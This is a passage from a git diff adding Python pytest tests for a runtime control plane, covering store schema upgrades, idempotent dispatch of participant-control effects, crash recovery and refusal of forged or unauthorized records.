_CARRIER in decode_payload(encoded, digest, kind="runtime snapshot") + finally: + connection.close() + + +def test_upgrading_a_pre_carrier_store_records_the_carrier_explicitly(tmp_path: Path): + """No pre-schema-6 build can have written a modular evaluation. + + So the upgrade records the missing carrier as authoritatively empty, and + from then on every openable store carries it explicitly — an older build + refuses the store instead of re-serializing it without the carrier. + """ + + from raes_runtime.control_plane_store_record_migration import LOCAL_OPERATION_SCHEMA_VERSION + + store_path = tmp_path / "cp" + resolver = StaticCrossingResolver() + plane = _plane(store=LocalControlPlaneStore(store_path), resolver=resolver) + admit(plane, idempotency_key="pre-carrier-history") + crossings = dict(plane.snapshot.participant_crossing_history) + plane.close() + _downgrade_to_schema_5(store_path) + assert _stored_schema_and_carrier(store_path) == ("5", False) + + upgraded = RuntimeControlPlane( + _target(), + crossing_policy_resolver=resolver, + store=LocalControlPlaneStore(store_path), + enforce_final_sink_flow_control=False, + ) + upgraded.close() + + assert _stored_schema_and_carrier(store_path) == (LOCAL_OPERATION_SCHEMA_VERSION, True) + assert LOCAL_OPERATION_SCHEMA_VERSION == "6" + assert crossings # the participant history the upgrade preserved + + +def test_an_upgraded_store_starts_modular_control_and_restarts_cleanly(tmp_path: Path): + """Migrate, initialize modular control, restart: every step succeeds.""" + + store_path = tmp_path / "cp" + resolver = StaticCrossingResolver() + binding = control_binding() + plane = action_plane(resolver, target=_target(), store=LocalControlPlaneStore(store_path)) + plane.close() + _downgrade_to_schema_5(store_path) + + modular = _plane(store=LocalControlPlaneStore(store_path), resolver=resolver, binding=binding) + admit(modular, idempotency_key="post-upgrade-control") + committed = _evaluations(modular) + assert len(committed) == 1 + modular.close() + + restarted = RuntimeControlPlane( + _target(), + crossing_policy_resolver=resolver, + store=LocalControlPlaneStore(store_path), + enforce_final_sink_flow_control=False, + participant_control=binding, + ) + assert _evaluations(restarted) == committed + restarted.close() + + +def test_a_store_newer_than_this_build_is_refused_rather_than_rewritten(tmp_path: Path): + """The downgrade guard: an unknown schema is never re-serialized.""" + + import sqlite3 + + store_path = tmp_path / "cp" + plane = _plane(store=LocalControlPlaneStore(store_path)) + plane.close() + connection = sqlite3.connect(store_path / "control-plane.sqlite3") + connection.execute("UPDATE metadata SET value='7' WHERE key='schema-version'") + connection.commit() + connection.close() + + newer_store = LocalControlPlaneStore(store_path) + with pytest.raises(ValueError, match="unsupported local control-plane database schema"): + _plane(store=newer_store) + + +def test_committed_consumption_is_a_watermark_not_a_claim_count(): + """PC-12: a spent budget stays spent even when no claim is retained for it.""" + + from participant_control_runtime_fixtures import ( + _rebound_context_digests, + control_binding, + fact_only_payload, + ) + from raes_contracts.contracts.participant_control_composition import ParticipantControlRequestModel + from raes_runtime.participant_control_causal_state import ( + causal_state_from_history, + declares_retained_consumption, + ) + + plane = _plane(binding=control_binding(fact_only_payload())) + admit(plane, idempotency_key="watermark") + committed = _evaluations(plane)[0] + # A committed context that declares consumption beyond its retained claims. + committed["request"]["context"]["effects_consumed"] = 2 # the whole admitted budget + _rebound_context_digests(committed) + context = committed["request"]["context"] + + state = causal_state_from_history([committed], run_ref=context["run"]["ref"], trigger_root=context["trigger_root"]) + + assert state.claims == {} + assert state.effects_consumed == 2 + replenished = ParticipantControlRequestModel.model_validate( + {**committed["request"], "context": {**context, "effects_consumed": 0, "attempt": 2}} + ).context + assert declares_retained_consumption(replenished, state) is False diff --git a/implementations/python/tests/test_issue_1069_participant_control_effects.py b/implementations/python/tests/test_issue_1069_participant_control_effects.py new file mode 100644 index 000000000..52215260b --- /dev/null +++ b/implementations/python/tests/test_issue_1069_participant_control_effects.py @@ -0,0 +1,1205 @@ +"""Issue #1069 governed dispatch of admitted participant-control effects. + +A requested effect is not a permission and a commit is not a dispatch: each +admitted subsequent effect is a separately admitted operation through its +incumbent owner, executed only after its parent committed, idempotent on its +logical effect key, and recorded as an append-only realization transition. +""" + +from __future__ import annotations + +from dataclasses import replace + +import pytest +from participant_control_runtime_fixtures import ( + INSTANCE, + SyntheticControlProvider, + control_binding, + dependent_effects_payload, + handoff_effect_payload, + required_predecessor_payload, +) +from participant_crossing_fixtures import ( + PARTICIPANT, + StaticCrossingResolver, + action_plane, + admit, + control_specification, + identity, + policy_capable_target, +) +from raes_contracts.contracts.participant_control_composition import ParticipantControlEvaluationModel +from raes_contracts.runtime_state import OperationKind, OperationState +from raes_runtime.control_plane import RuntimeControlPlane +from raes_runtime.control_plane_mutation import control_plane_mutation +from raes_runtime.participant_control_receipts import effect_idempotency_key +from raes_runtime.participant_control_records import commit_participant_control_realization + + +def _instrument_backend(target: object) -> dict[str, int]: + """Count real participant backend invocations at the effect boundary.""" + + runtime = target.participant_runtime + assert runtime is not None + original = runtime.admit_action + counter = {"calls": 0} + + def tracked(*args: object, **kwargs: object): + counter["calls"] += 1 + return original(*args, **kwargs) + + runtime.admit_action = tracked # type: ignore[method-assign] + return counter + + +def _target(*features: str): + return policy_capable_target( + "participant_ingress_admission", + "participant_modular_control", + "participant_directed_inject_delivery", + "participant_egress_projection", + "participant_intervention", + "participant_transformation", + *features, + ) + + +def _plane(binding, *, target=None, store=None): + return action_plane( + StaticCrossingResolver(), + target=target or _target(), + store=store, + participant_control=binding, + ) + + +def _origin(): + """The principal that causes the effect: bound to control *and* the audience. + + An effect acts for the principal of the operation that admitted it, so an + inject can only apply if that principal may disclose to the audience. + """ + + return identity(audience_bound=True) + + +def _dispatch(plane): + """Dispatch as an operator bound to both the control subject and audience.""" + + return plane.dispatch_participant_control_effects(PARTICIPANT, identity=identity(audience_bound=True)) + + +def _deliveries(plane) -> set[str]: + return { + record["occurrence"]["decision_id"] + for record in plane.snapshot.participant_crossing_history[PARTICIPANT] + if record["occurrence"]["interaction_kind"] == "participant-inject-delivery" + and record["occurrence"].get("decision_id") + } + + +def _history(plane) -> list[dict]: + return list(plane.snapshot.participant_control_evaluation_history.get(PARTICIPANT, ())) + + +def _effect_claims(plane) -> list: + """Every runtime effect claim: kind participant-control, keyed by the logical effect.""" + + from raes_contracts.runtime_state import OperationKind + + return [ + record + for record in plane._store.load_records().values() + if record.idempotency_key.startswith("control-effect:") + and record.status.context.operation_kind is OperationKind.PARTICIPANT_CONTROL + ] + + +def _origin_and_request(plane, slot_id: str = "rule"): + """The committed evaluation's originating operation and one effect request.""" + + from raes_runtime.participant_control_receipts import originating_operations + + evaluation = ParticipantControlEvaluationModel.model_validate( + next(item for item in _history(plane) if ":realization:" not in item["evaluation_id"]) + ) + origin = originating_operations(plane, PARTICIPANT)[evaluation.evaluation_id] + request = next(result.payload for result in evaluation.results if result.slot_id == slot_id) + return origin, request + + +def _force_indeterminate(plane): + """Claim the owner operation, then fail before establishing its outcome. + + This is the crash window between an owner claiming its operation and + committing a terminal state: the dispatch may have begun, and nothing + durable says whether it did. + """ + + from raes_contracts.runtime_state import OperationKind + + original = plane.deliver_participant_directed_view + claimed: dict[str, object] = {} + + def interrupted(*args: object, **kwargs: object): + del args + claimed["record"] = _claim_in_owner_scope( + plane, + operation_kind=OperationKind.PARTICIPANT_CROSSING, + operation_id="owner-attempt-1", + state=OperationState.RUNNING, + key=kwargs["idempotency_key"], + ) + raise RuntimeError("owner interrupted after claiming its operation") + + plane.deliver_participant_directed_view = interrupted # type: ignore[method-assign] + + def restore() -> None: + plane.deliver_participant_directed_view = original # type: ignore[method-assign] + + return restore + + +def _resolve_owner_operation(plane) -> None: + """Establish the terminal state startup recovery would have observed.""" + + record = plane._store.load_records()["owner-attempt-1"] + plane._store.save_record(replace(record, status=replace(record.status, state=OperationState.SUCCEEDED))) + + +def _recommit_last_realization(plane) -> None: + """Replay the realization writer with the outcome already committed.""" + + from raes_runtime.participant_control_receipts import claim_effect + + binding = plane._participant_control + history = _history(plane) + transition = ParticipantControlEvaluationModel.model_validate( + next(item for item in reversed(history) if ":realization:" in item["evaluation_id"]) + ) + causal = ParticipantControlEvaluationModel.model_validate( + next(item for item in history if ":realization:" not in item["evaluation_id"]) + ) + origin, request = _origin_and_request(plane) + with control_plane_mutation(plane, OperationKind.PARTICIPANT_CONTROL): + claim = claim_effect(plane, origin, request) + commit_participant_control_realization( + plane, + binding, + causal, + transition.realizations[0], + claim=claim.record, + ) + + +def test_ifc_resolved_influence_triggers_a_governed_inject(): + plane = _plane(control_binding()) + admit(plane, control_identity=_origin(), idempotency_key="effect-inject") + + realizations = _dispatch(plane) + + assert [item.disposition for item in realizations] == ["applied"] + assert realizations[0].effect_id == "effect-1" + delivered = plane.snapshot.participant_crossing_history[PARTICIPANT] + assert any(record["occurrence"]["interaction_kind"] == "participant-inject-delivery" for record in delivered) + + +def test_ifc_resolved_influence_triggers_a_non_inject_handoff_effect(): + specification = control_specification() + plane = RuntimeControlPlane( + _target(), + crossing_policy_resolver=StaticCrossingResolver(), + behavior_specifications={specification.address: specification}, + participant_control=control_binding(handoff_effect_payload()), + enforce_final_sink_flow_control=False, + ) + plane.initialize_participant_episode(PARTICIPANT, episode_id="episode-1") + admit(plane, control_identity=_origin(), idempotency_key="effect-handoff") + + realizations = _dispatch(plane) + + assert [item.disposition for item in realizations] == ["applied"] + assert len(plane.snapshot.participant_control_history[PARTICIPANT]) == 1 + + +def test_realizations_append_a_transition_rather_than_rewriting_the_evaluation(): + plane = _plane(control_binding()) + admit(plane, control_identity=_origin(), idempotency_key="effect-append") + before = _history(plane) + + _dispatch(plane) + + after = _history(plane) + assert after[0] == before[0] + assert after[0]["realizations"] == [] + assert after[-1]["realizations"][0]["disposition"] == "applied" + assert after[-1]["evaluation_id"] != before[0]["evaluation_id"] + + +def test_replaying_a_claimed_key_returns_its_receipt_without_a_second_effect(): + plane = _plane(control_binding()) + admit(plane, control_identity=_origin(), idempotency_key="effect-replay") + + first = _dispatch(plane) + committed = len(_history(plane)) + delivered = _deliveries(plane) + second = _dispatch(plane) + + assert [item.receipt_ref for item in second] == [item.receipt_ref for item in first] + assert len(_history(plane)) == committed + assert _deliveries(plane) == delivered + + +def test_a_non_eligible_composition_dispatches_nothing(): + providers = {INSTANCE: SyntheticControlProvider(omits_slot="fact")} + plane = _plane(control_binding(providers=providers)) + admit(plane, control_identity=_origin(), idempotency_key="effect-blocked") + + assert _dispatch(plane) == () + assert plane.snapshot.participant_control_history == {} + + +def test_an_unsupported_effect_owner_records_unsupported_with_zero_dispatch(): + plane = _plane(control_binding(), target=_target()) + admit(plane, control_identity=_origin(), idempotency_key="effect-unsupported") + plane._participant_control.resolver.effect_operations = False + + realizations = _dispatch(plane) + + assert [item.disposition for item in realizations] == ["unsupported"] + assert not any( + record["occurrence"]["interaction_kind"] == "participant-inject-delivery" + for record in plane.snapshot.participant_crossing_history[PARTICIPANT] + ) + + +def test_an_owner_input_that_does_not_bind_the_request_is_never_dispatched(): + plane = _plane(control_binding()) + admit(plane, control_identity=_origin(), idempotency_key="effect-mismatch") + plane._participant_control.resolver.effect_participant = "participant.behavior.other-agent" + + realizations = _dispatch(plane) + + assert [item.disposition for item in realizations] == ["unsupported"] + assert _history(plane)[0]["composition"]["disposition"] == "eligible" + + +def test_a_refused_owner_operation_records_failed_without_a_parent_rollback(): + """The owner declares no inject delivery, so its gate refuses the effect.""" + + refusing = policy_capable_target( + "participant_ingress_admission", + "participant_modular_control", + "participant_egress_projection", + "participant_transformation", + ) + plane = _plane(control_binding(), target=refusing) + admit(plane, control_identity=_origin(), idempotency_key="effect-refused") + + realizations = _dispatch(plane) + + assert [item.disposition for item in realizations] == ["failed"] + assert _history(plane)[0]["composition"]["disposition"] == "eligible" + + +def _effect_key(plane) -> str: + from raes_contracts.contracts.participant_control_composition import ParticipantControlEvaluationModel + + evaluation = ParticipantControlEvaluationModel.model_validate(_history(plane)[0]) + request = next(result.payload for result in evaluation.results if result.slot_id == "rule") + return effect_idempotency_key(request) + + +def _claim_in_owner_scope(plane, *, operation_kind, operation_id, state, key=None, actor_id=None): + """Claim one record under a chosen claim scope, as that owner would. + + The store's claim identity is ``(actor, operation kind, key)``, so a test + that wants to stand in for an effect's own prior attempt must claim in the + dispatching actor's scope, and one that wants a foreign record must not. + """ + + from raes_contracts.runtime_state import OperationKind + from raes_runtime.control_plane_operation_context import operation_actor_scope + + incumbent = next(iter(plane._store.load_records().values())) + assert isinstance(operation_kind, OperationKind) + actor = actor_id or operation_actor_scope(identity(audience_bound=True))[0] + context = incumbent.receipt.context.model_copy(update={"operation_kind": operation_kind, "actor_id": actor}) + claimed = replace( + incumbent, + idempotency_key=key or _effect_key(plane), + receipt=replace(incumbent.receipt, operation_id=operation_id, context=context), + status=replace( + incumbent.status, + operation_id=operation_id, + context=context, + state=state, + diagnostics=[], + changed_addresses=[], + ), + ) + running = replace(claimed, status=replace(claimed.status, state=OperationState.RUNNING)) + plane._claim_record(running) + if state is not OperationState.RUNNING: + plane._store.save_record(claimed) + return claimed + + +def test_a_claimed_but_undispatched_effect_resumes_exactly_once(): + """PC-11: a committed-but-undispatched key resumes on durable proof. + + Owners claim write-ahead under a key only the effect's claim derives, so an + open claim with no owner record proves dispatch never began. The + may-have-begun case — an owner record that is not terminal — stays + indeterminate and is covered by the reconciliation tests. + """ + + from raes_runtime.participant_control_receipts import claim_effect + + plane = _plane(control_binding()) + admit(plane, control_identity=_origin(), idempotency_key="effect-undispatched") + origin, request = _origin_and_request(plane) + with control_plane_mutation(plane, OperationKind.PARTICIPANT_CONTROL): + assert claim_effect(plane, origin, request).fresh # interrupted before any submission + + first = _dispatch(plane) + second = _dispatch(plane) + + assert [item.disposition for item in first] == ["applied"] + assert second == first + assert len(_deliveries(plane)) == 1 + assert len(_effect_claims(plane)) == 1 + + +def test_a_record_outside_the_owner_claim_scope_never_answers_for_an_effect(): + """A co-located operation must not stand in as an effect's outcome. + + The store's claim identity is ``(actor, operation kind, key)``. A record + that merely reuses this effect's client key under a different operation + kind is not this effect's claim, so it can neither report the effect as + applied nor satisfy a dependent's prerequisite. + """ + + from raes_contracts.runtime_state import OperationKind + + plane = _plane(control_binding()) + admit(plane, control_identity=_origin(), idempotency_key="effect-foreign-scope") + # A permitted operation of another kind, succeeded, reusing the effect key. + _claim_in_owner_scope( + plane, + operation_kind=OperationKind.PARTICIPANT_ACTION, + operation_id="foreign-attempt-1", + state=OperationState.SUCCEEDED, + ) + + realizations = _dispatch(plane) + + # The foreign record is ignored: the effect runs through its own owner. + assert [item.disposition for item in realizations] == ["applied"] + assert len(_deliveries(plane)) == 1 + assert "foreign-attempt-1" not in {item.receipt_ref for item in realizations} + + +def test_a_dependent_is_not_satisfied_by_a_foreign_record_for_its_predecessor(): + """A forged prerequisite must never authorize a dependent effect.""" + + from raes_contracts.runtime_state import OperationKind + + plane = _plane(control_binding(dependent_effects_payload())) + admit(plane, control_identity=_origin(), idempotency_key="effect-foreign-predecessor") + plane._participant_control.resolver.effect_operations = False + _claim_in_owner_scope( + plane, + operation_kind=OperationKind.PARTICIPANT_ACTION, + operation_id="foreign-predecessor-1", + state=OperationState.SUCCEEDED, + ) + + realizations = _dispatch(plane) + + by_id = {item.effect_id: item.disposition for item in realizations} + assert by_id["effect-1"] == "unsupported" + assert by_id["effect-2"] == "withheld" + + +def test_a_restarted_runtime_returns_the_applied_receipt_without_redelivery(tmp_path): + from raes_runtime.control_plane_store import LocalControlPlaneStore + + store_path = tmp_path / "cp" + resolver = StaticCrossingResolver() + first = action_plane( + resolver, + target=_target(), + store=LocalControlPlaneStore(store_path), + participant_control=control_binding(), + ) + admit(first, control_identity=_origin(), idempotency_key="effect-restart") + applied = _dispatch(first) + delivered = _deliveries(first) + first.close() + + second = action_plane( + resolver, + target=_target(), + store=LocalControlPlaneStore(store_path), + participant_control=control_binding(), + ) + resumed = _dispatch(second) + + assert [item.disposition for item in resumed] == [item.disposition for item in applied] == ["applied"] + assert _deliveries(second) == delivered + + +def test_an_owner_recorded_refusal_is_never_reported_as_applied(): + """An accepted receipt is admission; the durable status is the outcome.""" + + specification = control_specification() + plane = RuntimeControlPlane( + _target(), + crossing_policy_resolver=StaticCrossingResolver(), + behavior_specifications={specification.address: specification}, + # The admitted effect names a state revision the owner will reject, so + # the owner admits the operation and records it FAILED. + participant_control=control_binding(handoff_effect_payload(expected_state_revision=99)), + enforce_final_sink_flow_control=False, + ) + plane.initialize_participant_episode(PARTICIPANT, episode_id="episode-1") + admit(plane, control_identity=_origin(), idempotency_key="effect-owner-refusal") + + realizations = _dispatch(plane) + + assert [item.disposition for item in realizations] == ["failed"] + recorded = plane.snapshot.participant_control_history.get(PARTICIPANT, ()) + assert all(event["occurrence"].get("disposition") != "applied" for event in recorded) + + +def test_effects_dispatch_in_their_declared_causal_order(): + """Record order is serialization; predecessor_effect_ids is the order.""" + + plane = _plane(control_binding(dependent_effects_payload())) + admit(plane, control_identity=_origin(), idempotency_key="effect-ordered") + + realizations = _dispatch(plane) + + assert [item.effect_id for item in realizations] == ["effect-1", "effect-2"] + assert [item.disposition for item in realizations] == ["applied", "unsupported"] + + +def test_a_dependent_is_withheld_when_its_predecessor_did_not_apply(): + plane = _plane(control_binding(dependent_effects_payload())) + admit(plane, control_identity=_origin(), idempotency_key="effect-withheld") + plane._participant_control.resolver.effect_operations = False + + realizations = _dispatch(plane) + + by_id = {item.effect_id: item.disposition for item in realizations} + assert by_id["effect-1"] == "unsupported" + assert by_id["effect-2"] == "withheld" + + +def test_a_required_predecessor_is_admitted_while_its_parent_stays_withheld(): + """PC-11: the parent withholds, the predecessor runs as its own operation.""" + + target = _target() + counter = _instrument_backend(target) + plane = _plane(control_binding(required_predecessor_payload()), target=target) + + admit(plane, control_identity=_origin(), idempotency_key="effect-predecessor") + + evaluation = _history(plane)[0] + assert evaluation["composition"]["disposition"] == "withhold" + assert counter["calls"] == 0 # the withheld parent performed no effect + + realizations = _dispatch(plane) + + by_id = {item.effect_id: item.disposition for item in realizations} + assert by_id["effect-2"] in {"applied", "unsupported"} + assert "effect-1" not in by_id # the subsequent effect waits for a fresh cut + + +def test_dispatch_requires_a_bound_participant_control_configuration(): + plane = action_plane(StaticCrossingResolver(), target=_target()) + with pytest.raises(ValueError, match="participant control"): + _dispatch(plane) + + +def test_an_inject_owner_input_with_a_different_lineage_is_never_dispatched(): + """Scope is not identity: a view that is not this inject's result is refused.""" + + target = _target() + counter = _instrument_backend(target) + plane = _plane(control_binding(), target=target) + admit(plane, control_identity=_origin(), idempotency_key="effect-inject-lineage") + plane._participant_control.resolver.effect_inject_lineage = "participant-inject-view:other" + before = counter["calls"] + + realizations = _dispatch(plane) + + assert [item.disposition for item in realizations] == ["unsupported"] + assert counter["calls"] == before # no owner operation beyond the admission + assert _deliveries(plane) == set() + + +def test_a_handoff_owner_input_with_a_different_declaration_is_never_dispatched(): + plane = _plane(control_binding(handoff_effect_payload())) + admit(plane, control_identity=_origin(), idempotency_key="effect-handoff-declaration") + plane._participant_control.resolver.effect_declaration_ref = ( + "participant.behavior-specification.controlled.control-transition.override" + ) + + realizations = _dispatch(plane) + + assert [item.disposition for item in realizations] == ["unsupported"] + assert plane.snapshot.participant_control_history.get(PARTICIPANT, ()) == () + + +def test_a_handoff_owner_input_with_a_different_state_revision_is_never_dispatched(): + plane = _plane(control_binding(handoff_effect_payload())) + admit(plane, control_identity=_origin(), idempotency_key="effect-handoff-revision") + plane._participant_control.resolver.effect_state_revision = 99 + + realizations = _dispatch(plane) + + assert [item.disposition for item in realizations] == ["unsupported"] + assert plane.snapshot.participant_control_history.get(PARTICIPANT, ()) == () + + +def test_an_uncertain_realization_is_reconciled_once_its_owner_resolves(): + """An open claim is resolved by the owner operation it submitted.""" + + plane = _plane(control_binding(dependent_effects_payload())) + admit(plane, control_identity=_origin(), idempotency_key="effect-indeterminate") + restore = _force_indeterminate(plane) + + uncertain = _dispatch(plane) + restore() + + by_id = {item.effect_id: item.disposition for item in uncertain} + assert by_id["effect-1"] == "indeterminate" + assert by_id["effect-2"] == "withheld" + + _resolve_owner_operation(plane) + reconciled = _dispatch(plane) + + by_id = {item.effect_id: item.disposition for item in reconciled} + assert by_id["effect-1"] == "applied" + # Only the known outcome is recorded, on the effect's own claim, and the + # external action was never repeated on the reconciling pass. + transitions = [item for item in _history(plane) if ":realization:" in item["evaluation_id"]] + assert [item["realizations"][0]["effect_id"] for item in transitions][0] == "effect-1" + assert "owner-attempt-1" not in _deliveries(plane) + + +def test_an_overlapping_dispatch_of_the_same_outcome_is_recognised_as_a_replay(): + """A second drain resolves the same claim and neither repeats nor re-records.""" + + plane = _plane(control_binding()) + admit(plane, control_identity=_origin(), idempotency_key="effect-replay") + + first = _dispatch(plane) + committed = [item["evaluation_id"] for item in _history(plane) if ":realization:" in item["evaluation_id"]] + second = _dispatch(plane) + _recommit_last_realization(plane) + + assert [item.disposition for item in first] == ["applied"] + assert second == first + assert len(_deliveries(plane)) == 1 + assert [item["evaluation_id"] for item in _history(plane) if ":realization:" in item["evaluation_id"]] == committed + + +def test_a_foreign_record_under_the_effect_claim_never_reports_applied(): + """A different request holding this effect's claim identity is refused, never read. + + The store validates a replay against the claim's content, so a record that + merely reuses the effect key under the originating actor conflicts instead + of standing in for the effect. + """ + + plane = _plane(control_binding()) + admit(plane, control_identity=_origin(), idempotency_key="effect-foreign-same-scope") + _claim_in_owner_scope( + plane, + operation_kind=OperationKind.PARTICIPANT_CONTROL, + operation_id="unrelated-success-1", + state=OperationState.SUCCEEDED, + ) + + realizations = _dispatch(plane) + + assert [item.disposition for item in realizations] == ["failed"] + assert [item.receipt_ref for item in realizations] == ["claim-conflict.effect-1"] + assert _deliveries(plane) == set() + + +def test_a_dependent_is_never_authorized_by_an_unrelated_succeeded_record(): + """A forged prerequisite authorizes nothing, so no dependent runs on it.""" + + plane = _plane(control_binding(dependent_effects_payload())) + admit(plane, control_identity=_origin(), idempotency_key="effect-foreign-same-scope-dependent") + _claim_in_owner_scope( + plane, + operation_kind=OperationKind.PARTICIPANT_CONTROL, + operation_id="unrelated-success-2", + state=OperationState.SUCCEEDED, + ) + + realizations = _dispatch(plane) + + by_id = {item.effect_id: item.disposition for item in realizations} + assert by_id["effect-1"] == "failed" + assert by_id["effect-2"] == "withheld" + assert _deliveries(plane) == set() + + +def test_an_owner_refusal_before_its_claim_fails_on_the_effects_own_claim(): + """An owner that refuses before claiming began nothing; no other record answers.""" + + plane = _plane(control_binding()) + admit(plane, control_identity=_origin(), idempotency_key="effect-owner-refused-early") + original = plane.deliver_participant_directed_view + + def refusing(*args: object, **kwargs: object): + del args, kwargs + raise ValueError("owner refused before claiming") + + plane.deliver_participant_directed_view = refusing # type: ignore[method-assign] + try: + realizations = _dispatch(plane) + finally: + plane.deliver_participant_directed_view = original # type: ignore[method-assign] + + (claim,) = _effect_claims(plane) + assert [item.disposition for item in realizations] == ["failed"] + assert [item.receipt_ref for item in realizations] == [claim.receipt.operation_id] + assert claim.status.state is OperationState.FAILED + assert _deliveries(plane) == set() + + +def test_a_withheld_dependent_runs_once_its_predecessor_is_reconciled(): + """A withhold is an ordering decision, never a terminal outcome.""" + + plane = _plane(control_binding(dependent_effects_payload())) + admit(plane, control_identity=_origin(), idempotency_key="effect-dependent-resume") + restore = _force_indeterminate(plane) + + uncertain = _dispatch(plane) + restore() + + by_id = {item.effect_id: item.disposition for item in uncertain} + assert by_id["effect-1"] == "indeterminate" + assert by_id["effect-2"] == "withheld" + + _resolve_owner_operation(plane) + resumed = _dispatch(plane) + + by_id = {item.effect_id: item.disposition for item in resumed} + assert by_id["effect-1"] == "applied" + # The dependent is no longer stranded behind its recovered predecessor. + assert by_id["effect-2"] != "withheld" + + +def test_a_rejected_evaluation_never_claims_or_realizes_its_proposals(): + """A conflicted composition admits nothing, so it indexes nothing.""" + + from participant_control_runtime_fixtures import conflicting_effect_payload + from raes_contracts.contracts.participant_control_composition import ( + ParticipantControlEvaluationModel, + admitted_effect_phase, + admitted_effect_requests, + ) + + plane = _plane(control_binding(conflicting_effect_payload())) + admit(plane, control_identity=_origin(), idempotency_key="effect-rejected-proposal") + + evaluation = ParticipantControlEvaluationModel.model_validate(_history(plane)[0]) + assert evaluation.composition.disposition == "conflict" + assert admitted_effect_phase(evaluation) is None + assert admitted_effect_requests(evaluation) == () + + realizations = _dispatch(plane) + + assert realizations == () + assert _deliveries(plane) == set() + + +def test_an_interrupted_outcome_commit_is_never_repeated_or_lost(tmp_path): + """The claim close and the realization append are one commit. + + An interruption after the owner acted but before that commit leaves the + effect's claim open. Restart hands it to the incumbent recovery lifecycle, + and the effect's outcome is still read from the owner record its own claim + submitted — never re-dispatched, and never lost. + """ + + from raes_runtime.control_plane_recovery import ( + IndeterminateResolutionDisposition, + resolve_indeterminate_operation, + unresolved_indeterminate_operation_ids, + ) + from raes_runtime.control_plane_store import LocalControlPlaneStore + + store_path = tmp_path / "cp" + resolver = StaticCrossingResolver() + # The same trusted binding is re-supplied after restart, as an operator + # re-admitting the run would do. + binding = control_binding() + plane = action_plane( + resolver, + target=_target(), + store=LocalControlPlaneStore(store_path), + participant_control=binding, + ) + admit(plane, control_identity=_origin(), idempotency_key="effect-partial-commit") + store = plane._store + original = store.commit_participant_transition + + def interrupted(*args: object, **kwargs: object): + record = kwargs.get("record") + if record is not None and record.idempotency_key.startswith("control-effect:"): + raise RuntimeError("durable write interrupted after the owner acted") + return original(*args, **kwargs) + + store.commit_participant_transition = interrupted # type: ignore[method-assign] + with pytest.raises(RuntimeError, match="interrupted"): + _dispatch(plane) + plane.close() + + restarted = RuntimeControlPlane( + _target(), + crossing_policy_resolver=resolver, + store=LocalControlPlaneStore(store_path), + enforce_final_sink_flow_control=False, + participant_control=binding, + ) + (claim,) = _effect_claims(restarted) + # Recovery classified the open claim; nothing was recorded for it. + assert claim.receipt.operation_id in unresolved_indeterminate_operation_ids(restarted) + assert [item for item in _history(restarted) if ":realization:" in item["evaluation_id"]] == [] + + # While the recovery barrier stands, a drain never reports the outcome as + # recorded: the incumbent refusal propagates instead. + with pytest.raises(RuntimeError, match="indeterminate operation requires resolution"): + _dispatch(restarted) + assert [item for item in _history(restarted) if ":realization:" in item["evaluation_id"]] == [] + + resolve_indeterminate_operation( + restarted, + claim.receipt.operation_id, + disposition=IndeterminateResolutionDisposition.ACCEPT_CURRENT_SNAPSHOT, + idempotency_key="resolve-interrupted-effect", + identity=identity(audience_bound=True), + ) + assert unresolved_indeterminate_operation_ids(restarted) == () + + realizations = _dispatch(restarted) + + assert [item.disposition for item in realizations] == ["applied"] + assert [item.receipt_ref for item in realizations] == [claim.receipt.operation_id] + assert len(_deliveries(restarted)) == 1 + # The proven outcome is now durable, under a record linked to the claim... + (transition,) = [item for item in _history(restarted) if ":realization:" in item["evaluation_id"]] + assert [entry["disposition"] for entry in transition["realizations"]] == ["applied"] + carriers = [ + record + for record in restarted._store.load_records().values() + if record.status.context.parent_operation_id == claim.receipt.operation_id + and record.status.context.operation_kind is OperationKind.PARTICIPANT_CONTROL + ] + assert [record.status.state for record in carriers] == [OperationState.SUCCEEDED] + # ...a later drain reads it from history, and subsequent work is admitted. + assert _dispatch(restarted) == realizations + receipt = admit(restarted, control_identity=_origin(), idempotency_key="effect-after-recovery") + assert restarted.get_operation(receipt.operation_id).state is OperationState.SUCCEEDED + + +def test_a_reused_effect_identity_never_reassigns_another_keys_receipt(): + """A realization resolves against the request in its own evaluation. + + A shared effect-id table across evaluations would be last-writer-wins, so + a later reuse of an effect id under a different logical key could rebind an + earlier applied receipt to that other key. + """ + + import json + + from participant_control_contract_fixtures import evaluation_payload + from raes_runtime.participant_control_effects import _realized_keys + + first = ParticipantControlEvaluationModel.model_validate( + _applied_evaluation(evaluation_payload(), receipt="owner-applied-1") + ) + reused = json.loads(json.dumps(evaluation_payload())) + # The same effect id under a different logical key, with its own outcome. + request = next(item for item in reused["results"] if item["slot_id"] == "rule")["payload"] + request["key"] = {**request["key"], "firing_epoch": "epoch-2"} + second = ParticipantControlEvaluationModel.model_validate( + _applied_evaluation(reused, receipt="owner-failed-2", disposition="failed") + ) + + realized = _realized_keys([first, second]) + + by_key = {key.firing_epoch: value for key, value in realized.items()} + assert by_key[first.results[1].payload.key.firing_epoch].receipt_ref == "owner-applied-1" + assert by_key[first.results[1].payload.key.firing_epoch].disposition == "applied" + assert by_key["epoch-2"].receipt_ref == "owner-failed-2" + assert by_key["epoch-2"].disposition == "failed" + + +def _applied_evaluation(payload: dict, *, receipt: str, disposition: str = "applied") -> dict: + """Attach one realization for the payload's own effect request.""" + + from participant_control_contract_fixtures import ref + + request = next(item for item in payload["results"] if item["slot_id"] == "rule")["payload"] + payload["realizations"] = [ + { + "effect_id": request["effect_id"], + "disposition": disposition, + "receipt": {**ref(receipt, "receipt")}, + "evidence": [request["evidence"][0]], + } + ] + return payload + + +def _principal(name: str, *, participant: str = PARTICIPANT, audience: bool = True, control: bool = True): + """A distinct authenticated principal with chosen bindings.""" + + from participant_crossing_fixtures import AUDIENCE, CONTROLLER + from raes_runtime.control_plane_security import ( + ControlPlaneIdentity, + ControlPlaneRole, + ParticipantAudienceSubjectBinding, + ParticipantControlSubjectBinding, + ) + + return ControlPlaneIdentity( + identity=name, + roles=frozenset({ControlPlaneRole.OPERATOR}), + target_name="stub", + participant_control_subjects=( + (ParticipantControlSubjectBinding(participant_address=participant, controller_ref=CONTROLLER),) + if control + else () + ), + participant_audience_subjects=( + (ParticipantAudienceSubjectBinding(participant_address=participant, audience_scope_ref=AUDIENCE),) + if audience + else () + ), + ) + + +@pytest.mark.parametrize( + "caller", + [ + None, + "not-an-identity", + "other-participant", + ], +) +def test_an_unauthorized_drain_is_refused_before_reading_committed_state(caller): + """The drain caller is authorized first, so it can read and record nothing.""" + + plane = _plane(control_binding()) + admit(plane, control_identity=_origin(), idempotency_key="effect-unauthorized-drain") + before = _history(plane) + identity_value = { + None: None, + "not-an-identity": "operator.red", + 